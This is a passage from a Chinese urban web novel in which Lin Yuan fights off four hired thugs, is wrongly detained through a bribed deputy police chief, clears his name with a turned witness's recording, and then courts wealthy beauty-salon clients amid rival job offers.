赵军举着钢管冲上来了。他的动作比上次快了一些,可能是练过。钢管砸下来,我横棍格挡,金属撞击的声音刺耳。他连续砸了三下,我挡了三下,手臂震得发麻。
第四下的时候,我没有挡。我侧身避开,钢管擦着我的耳朵过去,砸在桥栏杆上,火星四溅。我趁他收棍不及,一棍捅在他的肚子上。
“呃——”赵军弯下腰,钢管掉在地上。
空手的那个一直没动,他看到三个同伴都倒了,从腰里拔出**,朝我冲过来。
**比**更危险,短棍对**,距离是关键。
他刺过来,我后退。再刺,再退。他连续刺了五六下,我退了五六步,后背撞到了桥栏杆。
没有退路了。
他笑了,**朝我胸口刺过来。
我没有躲,退无可退的时候,就不要退。
我侧身,**擦着我的肋部过去,衣服被划开一道口子,皮肤上一凉。我左手抓住他持刀的手腕,往外一翻,他的腕骨被我拧得咯咯响。
他疼得脸都变形了,**掉在地上。我右手的短棍一棍劈在他的肩膀上,他闷哼一声,整个人趴在了地上。
我站在原地,喘着粗气。
手臂上、肋部、后背,到处都在疼。衣服被划破了,肋部有一道浅浅的伤口,血渗出来,把白衬衫染红了一片。
但我还站着。
赵军趴在地上,捂着肚子,嘴角流着血。光头蹲在旁边,手腕肿得像馒头。瘦高个靠在桥栏杆上,肩膀塌着,动不了,空手的那个趴在地上一动不动。
我转过身,走到车旁边,敲了敲车窗。
小雅的脸从车窗里露出来,惨白,眼睛里全是泪。
“开门。”我说。
她开了门,扑过来,抱住我。“林远!你受伤了——”
“皮外伤。没事。”
“你流了好多血——”
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“没事。”我拍了拍她的背,“报警。打电话。”
她从我怀里抬起头,拿出手机,拨了110。
警察来得很快。
二十分钟后,两辆警车到了。下来五六个警察,领头的一个年轻警官姓孙。他看了一眼地上躺着的人,又看了一眼我手里的短棍。
“这些人是你打的?”
“是。”
“一个人打四个?”
“是。”
他上下打量了我一眼,目光在我肋部的伤口上停了一下。“伤得重不重?”
“皮外伤。”
“行。先叫救护车,然后跟我回所里做笔录。”他看了一眼小雅,“你也来。”
小雅扶着我的胳膊,跟着我上了警车。路过赵军身边的时候,他抬起头,看着我,眼神里有一种说不清的东西。
“林远,你等着。三哥不会放过你的。”
我没理他。
上了警车,小雅靠在我肩膀上,手紧紧地握着我的手。
“林远。”
“嗯。”
“那个人说的三哥是谁?”
“不知道。”
“你惹上什么人了?”
“不是惹上什么人。”我说,“是有人不想让我好过。”
她抬起头,看着我。“那你怎么办?”
“查。”我说,“查出来是谁在背后搞我。”
她沉默了一会儿。“林远,你小心点。”
“好。”
派出所的笔录做得很顺利,行车记录仪拍下了全过程——对方前后夹击、持械**、人数众多。孙警官看完视频,合上电脑。
“正当防卫,没问题。”他看着我,“但你最近小心点。赵军说的那个‘三哥’,我们听说过。他是滨海道上的人,专门帮人收账、平事。他能找到你的行踪,说明有人在盯着你。”
“我的车可能被装了**。”我说,“他们知道我的路线,提前在那座桥上堵我。”
孙警官点了点头。“回去检查一下。如果发现**,别拆,联系我们。”
“好。”
“还有——”他看了我一眼,“你那个短棍,带着没问题。但别用它主动伤人,只能自卫。”
“明白。”
从派出所出来,已经快下午三点了。阳光很好,照在身上暖洋洋的。
小雅站在门口,手里拿着纸巾,在擦眼泪。她看到我出来,走过来。
第55章 反转
“我送你回家。”我说,“顺路。”
她笑了。“你身上有伤,还开车?”
“皮外伤。不碍事。”
“那你自己小心。”
“好。”
送小雅到她家楼下,她解开安全带,没有马上下车。
“林远。”
“嗯。”
“你回去记得换药。别感染了。”
“好。”
“还有——”她顿了顿,“下次来的时候,别带棍子了。带你自己来就行。”
我笑了。“好。”
她转身走了,我坐在车里,看着她走进楼道。
车刚开出县城,手机响了。派出所的电话。
“林远,你回来一趟,有些情况需要再核实。”
我以为是例行程序,掉头开了回去。
再次走进派出所的时候,气氛完全不一样了。
大厅里站着四个人——赵军、光头、瘦高个、匕首男。他们身上都带着伤,鼻梁上的纱布、手腕上的绷带、肩膀上的固定带,但他们都站着。
而他们的身边,多了一个穿西装的中年男人,戴着金丝眼镜,手里提着一个公文包是律师。
赵军看到我,嘴角咧了一下。不是笑,是一种志在必得的得意。
“林远,这边。”一个陌生的声音叫我。不是孙警官,是一个我没见过的中年男人,姓魏,肩上的警衔比孙警官高。他站在走廊尽头,手里拿着一份文件夹。
我走过去。“孙警官呢?”
“孙警官临时被调走了,这个案子现在由我接手。”魏副所长推开一间办公室的门,“进来。”
我跟着他走进去。办公桌上摊着几份文件,旁边放着一台笔记本电脑。屏幕上是视频画面——我认识那个角度,是行车记录仪拍的,但画面停在一个我不认识的时刻。
不是他们撞我车的那段,不是他们拿刀围攻我的那段,是我反击的那段。
“魏警官,这个视频不全——”
“全不是你说了算。”他合上电脑,“对方提供了完整的现场视频和目击证人。根据他们的证据,是你主动挑衅、持械伤人。你的行车记录仪内存卡,技术科检查过了,损坏了,读不出来。”
我盯着他。“损坏了?在你们手里损坏的?”
“电子设备老化、撞击导致损坏,都有可能。”魏副所长的语气很平静,像是在念一份文件,“现在的情况是,对方的证据对你很不利。他们申请了调解,但在调解之前,有些事情需要先处理清楚。”
“什么事情?”
“他们指控你蓄意伤人,持械行凶。”他翻开封面的文件夹,“根据《治安管理处罚法》,我们需要对你采取强制措施。”
“强制措施?”
“拘留。”他看着我,“配合调查。”
“林远,把身上的东西都掏出来。”
年轻的警察站在我面前,手里拿着一个证物袋。我看着他,又看了看走廊尽头那四个正在签字的打手。
赵军签完字,活动了一下脖子,转头看了我一眼。这一次他笑了,笑出了声。
“你很会打吗,能打有个屁用。”他嚣张地说道:“在外面混,讲的是势力。”
手机被装进证物袋,贴上标签。短棍被单独装起来——证物。车钥匙被放进一个信封,写上我的名字。
他们的砍刀都拿走了,我的短棍却成了凶器被留作证据,这他妈叫什么世道。
“签字。”
我签了。
“带走。”
拘留室不大六七平米,铁架子床,薄垫子,消毒水的味道。墙上有个小窗户,很高,只能看到一小片天空。门是铁的,从外面锁着,门下方有一个送饭的小窗口。
我坐在床上,双手撑着膝盖,低着头。
我抬头看着那个小窗户。天已经快黑了。手机被收走了。外面的人联系不上我。秦红不知道我在哪,小雅不知道,苏婉不知道,赵暮不知道。
明天会发生什么?他们会给我安什么罪名?蓄意伤人?持械行凶?留案底?
留了案底,工作就没了。红颜不可能要一个有案底的总监。秦红对我再好,也扛不住公司的规矩。就算她扛得住,行业里的人怎么看?谁还敢跟一个蹲过号子的人合作?
拘留都是小事,他们四个人有被打断鼻梁骨的,有被打断肋骨的。如果对方做了伤情鉴定,按照持械伤人来给我定罪,判个一到三年都有可能,到时候就真的完了。
几个月前,我还是省城那个月薪三千五、连拼好饭都要犹豫的穷小子。秦红给了我机会,苏婉给了我温暖,老刀教了我本事。
我以为自己站起来了。以为自己能打了,能抗事了,能在这个城市活下去了。
一晚上,只需要一晚上,这些就可能全部归零。
老家的父母要是知道我成了犯人,会怎么想?这下不但丢了工作,恐怕再也没脸回家了。
我们村陈二狗就因为被拘留过,每次出现在村口都会被指指点点。
不知道过了多久。可能一个小时,可能三个小时。走廊里传来脚步声,由远及近,在拘留室门口停下。
铁门上的小窗口被拉开,一张脸露出来——不是魏副所长,是一个年轻警察,看着面生。
“林远,有人来保你。”
我坐起来。“谁?”
“市局的。”
铁门打开了。走廊里的灯光刺得我眼睛发酸。我跟着那个警察走出去,经过走廊,经过大厅,经过那间我做笔录的办公室。门开着,里面坐着一个人。
赵暮。
她穿着一件黑色夹克,头发扎成马尾,脸上没什么表情。看到我出来,她站起来,上下打量了我一眼。
“师兄,你没事吧?”
“没事。”
“走。”她拿起桌上的车钥匙和手机,递给我,“车在门口。”
出了派出所大门,夜风吹在脸上,凉飕飕的。我站在台阶上,深吸了一口气。自由的味道,带着汽车尾气和尘土的气息。
“你怎么知道我在这?”我问。
“小雅给我打的电话。”赵暮拉开车门,“她说你送她回家之后就联系不上了,电话打不通,人找不到。她担心你出事,跑到派出所问,说你被拘留了。”
“她怎么有你的电话?”
“上次在县城出警的时候,她留了我的名片。”赵暮发动车子,“我找了市局的人,连夜赶过来。魏副所长那边,有人给他打了招呼。”
“什么招呼?”
“让他知道,这个案子不是他能随便捏的。”赵暮看了我一眼,“师兄,你这次欠我一个人情。”
“记着了。”
车子驶出县城,上了高速。
第56章 学坏了聪明了
“赵队,那个魏副所长——”
“市局会查他。”赵暮打断我,“但不是现在。当务之急,是把你这个案子翻过来。对方的证据还在,你的证据没了。想翻案,得找到新的突破口。”
“什么突破口?”
“赵军那四个人。”她说,“他们能翻供,说明有人给了他们好处。找到那个人,就能撬开他们的嘴。”
“能找到吗?”
“不知道。但不试试怎么知道。”她握着方向盘,目视前方,“师兄,你这次运气不好,遇到的人不讲规矩。”
“不是运气不好。”我靠在座椅上,“是我太天真了。我以为有视频就能自证清白。没想到视频会‘损坏’,没想到他们能反咬一口。”
“吃一堑长一智。”
“嗯。”
赵暮把我送到美容院后面的巷子里,停好车。
“回去好好休息,明天我约了技术科的人,看能不能修复那张内存卡。”
“好。”
“还有——”她看着我,“你这段时间别去县城了。那边的事,我来处理。”
“知道了。”
我推开车门,下了车。走了几步,又回头。
“赵队。”
“嗯。”
“谢谢。”
她没说话,只是挥了挥手,然后发动车子,消失在巷口。
宿舍的灯亮着,我把手机充上电,开机。屏幕上涌出一堆消息——秦红的、苏婉的、小雅的、老刀的。
秦红:“林远,你今晚不回来吃饭了?”“人呢?”“看到消息回我。”
苏婉:“小远,你没事吧?”“红姐说你联系不上了。”
小雅:“林远,你在哪?我去派出所问,他们说你被拘留了。我已经给赵队打电话了,她马上过去。”
老刀:“听说你出事了?回来给我电话。”
我坐在床边,一个一个回复。
先给秦红打了电话。响了一声就接了。
“林远?你在哪?”
“宿舍。红姐,没事了。”
“你被拘留了?”
“半天,出来了。”
“谁干的?”
“县城那边的事。回来再说。”
秦红沉默了几秒。“明天来我办公室,把事说清楚。”
“好。”
挂了电话,我给苏婉发了条消息:“婉姐,没事了。别担心。”
她秒回:“真的没事了?”
“真的。”
“那就好。”她顿了顿,“林远,你别吓我。”
“不会了。”
给小雅发了条消息:“出来了。谢谢你找赵队。”
小雅回了一个哭脸。“吓死我了。你以后别去县城了。”
“不去了。”
最后给老刀发了条消息:“老刀,出来了。”
老刀只回了一个字:“嗯。”
我放下手机,拘留室里的那几个小时,像一场噩梦。不是因为害怕挨打,是因为害怕失去。失去自由,失去工作,失去好不容易站稳的那一点点根基。
能打有个屁用,赵军说得对。在外面混,讲的是势力。没势力,你打赢了也是输。
第二天一早,我去了赵暮的办公室。
赵暮正在看文件,看到我进来,把笔放下。“师兄,你脸色很差。”
“没睡好。”
“正常,换谁都睡不好。”她站起来,从柜子里拿出一个文件夹,放在桌上,“这是案子的全部材料。你看看吧。”
我翻开是赵军的笔录,光头的笔录,瘦高个的笔录,匕首男的笔录。四个人口径一致——林远主动挑衅,持械伤人,他们是“自卫”。
旁边还附了一份“目击证人”的证词,一个叫“刘伟”的人,自称路过看到了全过程。
“这个刘伟是谁?”
“查过了,县城的无业人员,有案底,跟赵军认识。”赵暮在我对面坐下,“但他一口咬定自己是路过,跟赵军没关系。没有证据证明他们串通,动不了他。”
“行车记录仪的内存卡呢?”
“技术科在修复,但希望不大。”赵暮的声音很平静,“卡被物理损坏了,不是普通的格式化。就算修复了,也不一定能恢复完整的视频。”
我合上文件夹。“所以我现在没有证据,对方有人证,我随时可能再进去?”
“理论上是的。魏副所长虽然暂时不动了,但案子还在他手里。他想什么时候再抓你,就什么时候抓。”赵暮看着我,“师兄,这个案子要想翻过来,得找到新的突破口。”
“什么突破口?”
“那四个人里,有一个人松口就行。”
“他们不可能松口。有人给了他们好处。”
“对。所以我们要找到那个给好处的人。”赵暮顿了顿,“而且,要让那个人觉得,不松口的代价比松口更大。”
从赵暮办公室出来,我去了老刀的拳馆。
老刀坐在沙发上缠绷带,看到我进来,头都没抬。“出来了?”
“出来了。”
“想怎么办?”
“翻案。”
他抬起头,看了我一眼。“怎么翻?”
“找到那个给他们好处的人。”
老刀放下绷带,从柜子里拿出一根烟,点上。“那四个人里,有一个是突破口。”
“谁?”
“匕首男。”老刀吐出一口烟,“赵军是领头的,嘴硬。光头跟赵军时间长,也不好撬。瘦高个胆儿小,但听赵军的。匕首男不一样。”
“哪里不一样?”
“他不是赵军的人。”老刀看着我,“他是赵三江临时找来的。跟那三个人不熟,拿的钱也最少。这种人,最容易反水。”
“怎么找到他?”
“老周。”老刀掐灭烟,“他消息灵通,让他帮你查匕首男的底细。”
下午,我去了老周茶馆。
老周正在柜台后面算账,看到我进来,推了推老花镜。“听说你进去了?”
“出来了。”
“想查什么?”
“匕首男,赵军那四个人里的,老刀说你消息灵通。”
老周放下笔,从柜台下面拿出一本旧笔记本,翻了翻。“你说那个拿匕首的?姓孙,叫孙磊,外省人,来滨海半年多了。
之前在赵三江的场子里看场子,后来跟着赵军混。”
“能找到他吗?”
“能找到。但他凭什么帮你?”老周看着我,“他是打你的那个人,他要是反水,自己也得进去。”
“你跟他说,反水了算立功,从轻处理。不反水,主犯的帽子扣在他头上,他扛不住。”
老周看了我一眼,笑了。“你小子,进去一晚上,学坏了。”
“不是学坏。是学聪明了。”
第57章 案情突破点
老周办事利索,第二天下午,他就给我打了电话。
“孙磊想见你。”
“在哪?”
“县城,老地方。你来的时候小心点,别让人跟着。”
晚上,我开车去了县城。老周说的“老地方”是一家茶馆,在县城北边的一条巷子里,门面很小,不仔细看根本找不到。
我推门进去的时候,孙磊已经在了。他坐在角落里,右手还缠着绷带——上次被我拧伤的手腕没完全好。脸上没什么表情,但眼神里有东西——不是凶狠,是不安。
“坐。”老周指了指对面的椅子,自己坐到柜台后面去了。
我在孙磊对面坐下。
“你想说什么?”我看着他的眼睛。
“你——你真的能让我立功?”他的声音很低,带着一种小心翼翼的试探。
“不是我说了算,是警察说了算。”我看着他,“但你要是能提供证据,证明是赵军收了钱来打我的,证明那个目击证人是假的,你就算立功。”
“我怎么知道你不是在骗我?”
“你没得选。”我说,“赵军被抓进去,他上面的人保他出来了。你呢?有人保你吗?”
“如果进去了,你老婆怎么办?”
这条才是击溃他的关键,因为老周告诉我,孙磊的老婆正大着肚子,估摸着就快生了。
孙磊沉默了。
“赵军收了多少钱,你知道吗?”
“知道。五万。”
“你拿了多少?”
他低下头。“三千。”
“三千块,你就帮人卖命?”我看着他的眼睛,“你被人当枪使了。赵军拿了大头,出了事他有人保。你呢?你进去了,谁会管你?”
孙磊攥着缠绷带的手:“你要我做什么?”
“你手上有没有证据?录音?转账记录?什么都行。”
他沉默了很久,然后从口袋里掏出一个旧手机。“赵军给我打电话的时候,我录了音。他说是有人花钱买你,让你以后不敢再出头。还说那个目击证人是他们安排的,叫刘伟。”
我的心跳加速了。
“你为什么不早拿出来?”
“我怕。”他低着头,“赵军说,我要是不听话,他在外面的人不会放过我。”
“现在不怕了?”
他抬起头,看着我。“你被关进去的那天晚上,赵军请我们喝酒。他说他上面的人说了,这个案子翻不了,林远就是打人的那个,谁来了都没用。”
他的声音开始发抖,“我怕。不是因为赵军,是因为他上面的人。”
“谁?”
“我不知道。赵军从来不提名字,只说‘孙总’。”
孙总,我开始回忆自己得罪的人里面都有谁姓孙。
我拿着孙磊的手机,连夜赶回了滨海。赵暮在办公室等我,听完我的话,把手机里的录音导了出来,听了一遍。
“够了。”她站起来,“有了这个录音,赵军翻供也翻不回去了。那个假证人刘伟,也可以抓了。”
“那个‘孙总’呢?”
赵暮看着我。“孙磊不知道是谁,赵军也不说。但有了这条线,我们可以往上查。”
“要多久?”
“不知道。”她的声音很平,“但至少,你的案子能翻过来了。”
第二天,赵军再次被抓。光头、瘦高个也跟着进去了。假证人刘伟被传唤。孙磊因为主动提供证据,被认定为立功,从轻处理。
魏副所长被停职调查,行车记录仪的内存卡,技术科还在修复,但已经不重要了。孙磊的录音,比视频更有力。
赵暮打电话来的时候,我正在库房里搬货。
“师兄,案子结了。赵军他们承认了,是有人花钱雇他们来打你,那个目击证人是假的。你是正当防卫,没有任何问题。”
“那个‘孙总’呢?”
“赵军说他不知道是谁,钱是赵三江安排的,赵三江在看守所,不开口。”
“所以还没完。”
“对,还没完。”
我挂了电话,继续搬货。赵军又进去了,光头进去了,瘦高个进去了。那个匕首男——孙磊——因为反水,从轻处理,但孙总还在外面。
晚上,秦红叫我去了她家。
她做了一桌子菜,这次不咸了,也不糊了。西红柿炒鸡蛋刚好,红烧排骨软烂入味。她坐在我对面,看着我吃。
“林远。”
“嗯。”
“听说你的案子结了?”
“结了。”
“谁在背后搞你?”
“不知道,还在查。”
她沉默了一会儿。“林远,你这次被关进去,怕不怕?”
“怕。”
“怕什么?”
“怕留案底,怕丢了工作。”我放下筷子,“怕我妈知道了难过。”
秦红看着我,眼神里有心疼,也有一种说不清的东西。她站起来,走过来,在我旁边坐下,伸出手,握住了我的手。
“林远,你记住了。不管出什么事,红颜是你的后盾。我也是。”
“红姐,你不怕我连累你?”
“怕。”她笑了,“但我更怕你出事。”
那天晚上,我在秦红家吃了饭,喝了酒。她送我出门的时候,在门口站了很久。
“林远。”
“嗯。”
“你以后别再一个人扛了。有什么事,跟我说。”
“好。”
她笑了。那笑容里有释然,有温柔,也有一种让人心安的坚定。
我开着车,车窗摇下来一条缝。夜风吹进来,凉飕飕的。
手机震了。赵暮的消息。
“师兄,孙总那条线,我会继续查。你自己也小心。有什么事,第一时间给我打电话。”
“好。”
我放下手机,踩下油门。
第58章 孙曼丽被抓
案子结了,但我心里清楚,真正的对手还没露面。
那个“孙总”——花钱雇赵军来打断我腿的人——还在外面。赵军说他不知道是谁,钱是赵三江安排的。赵三江在看守所,不开口线断了。
赵军说得对,在外面混,讲的是势力。没有势力,你打赢了也是输,你站住了也会被人推倒。
我查了查自己的银行卡余额:三万两千六百块就是我全部的家当。
车是秦红的,宿舍是秦红的,连总监这个职位都是秦红给的。拘留室那扇铁门告诉我——你没有根基,别人想收拾你,只需要一个电话。
第二天上午,赵暮打来电话。
“师兄,孙曼丽那边有突破了。”
“什么突破?”
“魏副所长的表弟全招了,孙曼丽给了他五万,让他找魏副所长‘关照’你的案子。转账记录、通话录音,全都有。加上赵军那边的新口供,证据链完整了。”
“够抓她了?”
“够刑事拘留了,今天上午,市局的人已经去了。”
我握着手机,心跳加速。“赵队,谢谢你。这次没有你,我出不来。”
“别谢。我是警察,这是应该的。”她顿了顿,“但你得承认,要是没有老刀介绍你认识老周,你也找不到孙磊。要是没有孙磊的录音,我也撬不开赵军的嘴。师兄,你自己也出了力。”
“那不一样,没有你,我连派出所的门都出不去。”
赵暮沉默了一会儿。“行了,别煽情了。孙曼丽这次进去,一时半会儿出不来。丽人会的客户现在成了无主之物,你打算怎么办?”
“还没想好。”
“那你赶紧想。盯上这批客户的人不少。”
孙曼丽被抓的消息,在滨海美容行业炸开了锅。
第一个电话是周太打来的。
“小林,丽人会的客户,你有没有兴趣?来我这边,我给你开个新部门,你负责。底薪翻倍,客户提成另算。”
“周太,我考虑考虑。”
“考虑什么?秦红给你多少,我加百分之三十。”
第二个电话是赵太太。“林远,听说你一个人打了四个?身手不错。来我老公的公司,安保部经理,年薪四十万。丽人会的客户你要是能带过来,提成另算。”
安保部经理。我笑了。“赵太太,我是做美容的,不是做保安的。”
“做什么不重要,重要的是你这个人值钱。”
第三个电话是一个陌生号码,自称是省城一家连锁美容院的老板。“林总监,听说过你的事迹。来我这边,滨海分店的总经理位子给你。年薪五十万,配车配股。”
我一一回复:“考虑考虑。”不是摆架子,是真的在想——我要什么?
秦红很快知道了有人在挖我。
下午,她推门进来,没端咖啡,没拿文件。穿着一件黑色的紧身连衣裙,领口开得很低,头发散着。她走过来,直接坐在我的办公桌上,裙摆往上滑了一截。
“林远,听说周太给你打电话了?”
“嗯。”
“赵太太也打了?”
“嗯。”
“省城的人也打了?”
“嗯。”
她盯着我看了几秒。“你怎么说的?”
“我说考虑考虑。”
“考虑好了吗?”
“还没有。”
她伸出手,帮我整了整衣领。指尖碰到我的脖子,凉凉的,然后慢慢往下,在我胸口画了一个小小的圈。
“林远,你知道你现在值多少钱吗?”
“不知道。”
“你自己不知道,但别人知道。”她收回手,“周太给你开多少?”
“没细说。”
“她给你底薪翻倍。赵太太给你开四十万。省城的人给你开五十万。”她看着我,“我说得对不对?”
“红姐,你查我了?”
“不用查。这个圈子就这么大,什么话都传得开。”她从桌上滑下来,走到窗边,背对着我,“林远,你想走吗?”
“红姐,我没想走。”
“但你在考虑。”
“考虑不代表会走。”
她转过身,走回来,站在我面前,近到呼出的热气能喷到我脸上。
“林远,你留下来。丽人会的客户,你去谈。谈下来一个,我给你百分之二十的提成。不是红颜的提成,是你个人的。钱直接打你卡上,不走公司账。”
我看着她。“百分之二十?”
“对。别人给你职位,给你年薪,但那些都是虚的。我给你真金白银。”她的手搭在我的肩膀上,“你谈下来一百个客户,你就能在滨海买房。你谈下来两百个,你就能自己开店。”
“红姐,这是交易?”
“对。交易。”她收回手,“我对你好,是因为你有用。但我不骗你。你帮我赚钱,我帮你攒第一桶金。你想自己干,我不拦你,但你不能在红颜的时候挖红颜的墙脚。”
“红姐,我不会。”
“我知道你不会。所以我才给你这个条件。”她往门口走:“丽人会的VIP名单在我办公室,你自己去拿。从最上面那十个开始谈。谈下来一个,提成当月结清。”
她走了。高跟鞋声清脆,在走廊里回荡。
姜月的消息是在晚上发来的。
“林远,听说秦红让你去谈丽人会的客户?她给你多少提成?”
我盯着屏幕,没回。
她又发了一条:“不管她给多少我翻倍,而且我不要求你留在我这里。你谈下来的客户,是你自己的。你想带去别的地方也行,想自己开工作室也行。”
“姜总,你这是要挖秦红的墙脚?”
“不是挖墙脚,是给你多一个选择。你在我这里赚够了钱,想干什么干什么。秦红能给你这个自由吗?”
我沉默了一会儿。“姜总,我考虑考虑。”
“考虑可以,但别太久。丽人会的客户不等人。”
接下来的几天,我的手机没停过。
周太又打了一次,提价了。赵太太也打了一次,说股份可以谈。省城那个老板直接飞到滨海,约我吃饭。我都去了,都聊了,都没答应。
不是不想答应,是还没到答应的时候。我现在手里什么都没有。那些老板看中的不是我,是我能带过去的客户。
我没有客户,就没有筹码。所以现在最重要的事,不是选边站队,是去谈客户。
我拿起秦红给的那份名单,翻到第一页。第一个客户的名字叫周敏,四十三岁,丽人会的超级VIP,年消费二十万以上。电话、地址、肤质、喜好,全都有。我拨了电话。
“周女士您好,我是红颜美容的林远。孙总的事您听说了,您现在做护理可能不方便。红颜这边给您提供一个月的免费体验,您看您什么时候方便过来试试?”
“红颜?就是秦红那家?”
“对。”
“行。明天下午。”
挂了电话,我在名单上打了个勾。
第59章 属于我的第一个客户
第二天下午,周敏来了。开着一辆黑色的保时捷卡宴,穿着一件墨绿色的连衣裙,脖子上挂着一串细细的钻石项链。
保养得很好,皮肤白净,看不出真实年龄。但她的眼神很锐利,看人的时候像是在估价。
我带她参观了VIP区,介绍了澜曦的产品线,安排了最资深的美容师给她做了一次护理。做完之后,她坐在休息区喝茶,我过去陪她聊天。
“林总监,你多大?”
“二十四。”
“二十四就当总监?不简单。”
“是秦总给机会。”
她笑了笑,放下茶杯。“孙曼丽的事,跟你有关系?”
“我只是配合警方调查。”
“你倒是会说话。”她看了我一眼,“听说你一个人打了四个?”
“周女士消息真灵通。”
“这个圈子就这么大。”她端起茶杯,“能打又能做事的人,不多见。”
“周女士过奖了。”
她放下茶杯,从包里拿出一张卡。“行,我办一张。先充五万。”
“周女士,红颜的VIP卡分三个档次——”
“就五万,你帮我选。”她把卡推过来,“林总监,我看好你。以后我就在你这儿做了。”
“谢谢。”
第一个,成了。但我知道,这只是开始。这种客户不是冲着红颜来的,是冲着我来的。我的接住。
有了第一个,第二个就好谈了。
周敏在富太圈里帮我传了话——“红颜那个林远,不错。你们可以去试试。”接下来一周,我又约了几个,有的来了,有的没来。
来的里面,有的办了卡,有的没办。没办的不着急,慢慢养着。这个圈子就是这样,信任是一点一点建立的。
第三个客户是赵太太介绍来的,姓陈,大家都叫她陈姐。四十六岁,老公做外贸生意,家里不缺钱。
她来的时候,穿着一件香奈儿的外套,拎着一只爱马仕的包,浑身上下透着一股“我很贵”的气场。
“你就是林远?”她上下打量了我一眼。
“陈姐好。”
“长得确实不错。”她在沙发上坐下,翘起腿,“周敏说你很会聊天,我过来看看。”
“陈姐想聊什么?”
“聊聊你。”她看着我,“听说你一个人打了四个?还把一个美容院老板送进去了?”
“那是警方办的,跟我没关系。”
“你倒是谦虚。”她笑了,“行,先做个护理试试。效果好,我办卡。”
“陈姐放心。”
做护理的时候,我没进去。让美容师做的,我坐在外面等。陈姐出来的时候,脸上的表情比进去的时候松了不少。
“还行,手法不错。”她走到我面前,“林总监,你平时忙吗?”
“还行。”
“那改天一起吃个饭?我请客。”
“陈姐客气了,应该我请您。”
她笑了,那笑容里有满意,也有一种说不清的东西。“行,那就这么说定了。”
她走了之后,前台小妹凑过来,眼睛亮亮的。“林总监,陈姐是不是对你有意思?”
“别瞎说。”
“我没瞎说,她看你的眼神,跟看别人不一样。”
我没接话,陈姐那种眼神,我在王太脸上见过,在周敏脸上也见过。她们不缺钱,不缺男人,但她们缺新鲜感。
陈姐的饭局约在了周五晚上,我到的时候,她已经在了。穿着一件黑色的连衣裙,领口开得很低,头发散着,脸上化了妆。她看到我,笑了,招手让我过去。
“坐。想吃什么随便点。”
“陈姐,你太客气了。”
“不是客气。是感谢。”她给我倒了一杯红酒,“你帮我做护理,我请你吃饭,应该的。”
我拿起菜单,随便点了几个。她端着酒杯,看着我。
“林远,你结婚了吗?”
“没有。”
“有女朋友吗?”
“没有。”
“那你一个人住?”
“嗯。”
她点了点头,没再问了。菜端上来,她吃得很慢,我吃得也慢。两个人聊了些有的没的——她老公的生意、她儿子的学习、她去欧洲旅游的经历。
“林远。”
“嗯。”
“你有没有想过,以后自己干?”
我放下刀叉,看着她。“陈姐为什么这么问?”
“因为你这个人,不像是给人打工的。”她端起酒杯,“你有脑子,有本事,有长相。你缺什么?缺钱。但钱不是问题,只要有人愿意投你。”
“陈姐想投我?”
“看情况。”她笑了,“你先证明给我看,你值不值得投。”
“怎么证明?”
“先把我的脸搞好。”她站起来,“买单。”
我抢着买了单。她没拦,只是笑了笑。
走出餐厅,夜风吹过来,凉飕飕的。她站在门口,看着我。
“林远,你开车了吗?”
“开了。”
“那送我回家?”
“好。”
陈姐住在翡翠湾,和安然是同一个小区。送她到楼下,她解开安全带,没有马上下车。
“林远。”
“嗯。”
“你知不知道,周敏说你很靠谱。”
“周姐过奖了。”
“不是过奖。”她看着我,“她说你这个人,不贪,不装,不油。在这个圈子里,这样的男人不多。”
“陈姐,我只是个做美容的。”
“你只是做美容的?”她笑了,“你一个人打了四个,把孙曼丽送进去了,还只是做美容的?”
“那些事跟我没关系。”
“你越说没关系,我越觉得有关系。”
“林远,改天再来家里坐坐,我做饭给你吃。”
“好。”
她笑了,转身走了。
陈姐不是第一个对我表现出好感的客户,也不会是最后一个。
她们不缺钱,不缺男人,但她们缺一个能让她们觉得“不一样”的人。
姜月那边一直在催。
她不像周太那样加价,也不像陈总那样画饼。
她每次说话都很直接:“林远,你在我这里赚的钱,是你自己的。你在我这里积累的客户,也是你自己的。我不绑你。”
月底,赵暮打电话来。
“师兄,孙曼丽的案子快判了。诈骗、雇凶伤人,数罪并罚,预计五年以上。”
“苏婉的钱呢?”
“下周就能返还,法院那边手续走完了。”
“好。”
“还有——”她顿了顿,“你最近是不是跟一个姓陈的女人走得很近?”
“你怎么知道?”
“有人看到你送她回家了。”赵暮的语气很平,“师兄,你小心点。那个圈子的女人,不好惹。”
“我知道。”
“知道就好。”她挂了电话。
第60章 宋大美女
周敏介绍的新客户,是在一个周三的下午来的。
她叫宋诗语,名字挺好听的,人也好看。三十出头,短发,皮肤很白,穿着一件简单的白T恤和牛仔裤,拎着一个帆布包。在一群穿金戴银的富太中间,她显得有点格格不入。
“林总监?”她站在前台,看到我出来,上下打量了我一眼。
“宋女士?你好。”
“叫我诗语就行。”她笑了,露出一口白牙,“周敏姐说你很专业,我过来试试。”
“这边请。”
我带她去了VIP室,倒了杯茶,坐下来聊。她说她刚来滨海不久,之前在省城做设计,现在自己开了个工作室。平时忙,没时间打理皮肤,想找个靠谱的地方。
“你皮肤底子很好,主要是缺水和轻微敏感。”我看了看她的脸,“换季的时候是不是容易泛红?”
“你怎么知道?”她愣了一下。
“干我们这行的,看多了就懂了。”我笑了笑,“我给你推荐一套修复类的产品,搭配红颜的护理项目,一个月应该能看到改善。”
“行。听你的。”
她办了一张卡,充了两万。不算大客户,但胜在年轻,好沟通。不像那些富太,说话绕来绕去,每句话都在试探。
宋诗语第二次来的时候,给我带了一杯咖啡。
“林总监,上次你推荐的那套产品挺好用的,我脸不红了。”
“那就好。”
“你今天忙吗?不忙的话,做完护理陪我吃个饭?”她看着我,眼神很坦荡,“我刚来滨海,没什么朋友。周敏姐说你人不错,想多聊聊。”
我想了想。“行。几点?”
“六点。我请你。”
“我请你吧,你是客户。”
“客户怎么了?客户就不能请吃饭了?”她笑了,“就这么定了。”
六点,她做完护理,换了自己的衣服,从包里拿出车钥匙。“你开车了吗?”
“开了。”
“那跟在我后面。我知道一家不错的餐厅。”
她开了一辆白色的特斯拉,我开着我的奥迪,跟在后面。穿过半个滨海市,到了一家藏在巷子里的小馆子。门面不大,但里面装修很有味道,灯光昏黄,墙上挂着几幅油画。
“你常来?”我问。
“第一次来。朋友推荐的。”她坐下,拿起菜单,“听说这里的菜很有特色,私房菜,每天限量。”
“你倒是会找。”
“做设计的嘛,对美的东西敏感。”她看了我一眼,“包括人。”
我愣了一下,没接话。她笑了,没再说什么。
菜一道一道地上,味道确实不错。两个人边吃边聊,从美容聊到设计,从设计聊到滨海这座城市。
“你为什么来滨海?”她问。
“工作。”
“以前在哪?”
“省城。”
“我也是从省城来的。”她放下筷子,“省城待了七年,腻了。想来海边待待。”
